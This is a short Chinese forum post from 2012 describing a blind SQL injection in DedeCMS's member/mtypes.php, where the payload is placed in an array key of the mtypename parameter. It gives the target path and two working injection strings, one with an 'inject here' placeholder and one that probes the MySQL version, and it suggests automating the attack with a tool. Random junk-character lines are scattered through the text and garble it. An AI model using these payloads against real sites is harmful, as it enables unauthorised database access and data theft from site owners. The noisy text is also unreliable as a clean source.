需要magic_quotes_gpc = Off,所以说是鸡肋啊.
& c; D; s# F Z- k |! a, c& i6 M2 K
4 H1 B: Z+ X# u6 y8 {
1 l6 F1 O8 H+ u发生在数组key里的注射漏洞,有点意思.
2 X4 ]# w* R" N& l 3 k' B# e0 y) _6 s- K% f
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
m+ w2 k! U6 @/ W. }8 }" u- g6 C; j% y + t k+ S' }# `; x- u' Q2 W2 B
http://www.xxx.com /dede/member/mtypes.php?dopost=save% q+ J: k. ^5 _6 Y \
* v, l( E4 a6 H$ P1 G& ]
exploit:
0 E/ Q$ F4 G* w$ Bmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r u8 ~& p8 G/ n& f R' N- Y( E1 }
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r% L6 @1 _' U0 [2 n4 E$ @
|
发表于 2012-12-20 08:08:09
收藏
支持
反对